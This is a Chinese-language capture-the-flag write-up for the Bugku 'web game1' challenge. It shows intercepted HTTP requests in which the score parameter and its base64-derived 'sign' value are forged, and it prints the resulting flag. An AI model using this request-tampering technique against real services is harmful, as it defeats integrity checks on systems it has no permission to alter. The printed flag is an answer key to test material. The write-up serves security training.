bugku-web-game1

进来后就是一个正常的游戏

这种类型以我的经验来看，一般都是打到一个极大的分数就可以得到flag了

但是我毕竟不知道上线多少，也没时间去搞这玩意

所以开始作弊改分数

开始抓取整个游戏全流程出现的报文

在最后游戏结束时发现一个报文中含有分数

GET /score.php?score=25&ip=183.95.251.34&sign=zMMjU=== HTTP/1.1
Host: 114.67.175.224:11477
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: */*
Referer: http://114.67.175.224:11477/?s=1711289770273?s=1711289798759?s=1711289838510?s=1711289873144
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _gid=GA1.1.1919961319.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711289847.0.0.0; _gat=1; Hm_lpvt_c1b044f909411ac4213045f0478e96fc=1711289887
Connection: close

这里的score就是每一次我玩到的分数

但是这里的sign每一次也跟着我的分数变化，其他倒是没有变化的地方了

一看sign就知道是一个base加密

观察变化
sign为=zM + 变化的值 + = 这样组成的

将变化的值解密，发现与每一次分数相同

我们修改一个极大值上去

GET /score.php?score=10000&ip=183.95.251.34&sign=zMMTAwMDA== HTTP/1.1
Host: 114.67.175.224:11477
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: */*
Referer: http://114.67.175.224:11477/?s=1711289770273?s=1711289798759?s=1711289838510?s=1711289873144?s=1711289901164
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _gid=GA1.1.1919961319.1711286767; _gat=1; Hm_lpvt_c1b044f909411ac4213045f0478e96fc=1711290011; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290014.0.0.0
Connection: close

将分数调为10000并加密写入sign
发送报文
得到回显

HTTP/1.1 200 OK
Date: Sun, 24 Mar 2024 14:29:00 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.33
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

flag{4c351341ecb2f126bcf14a4fff825782}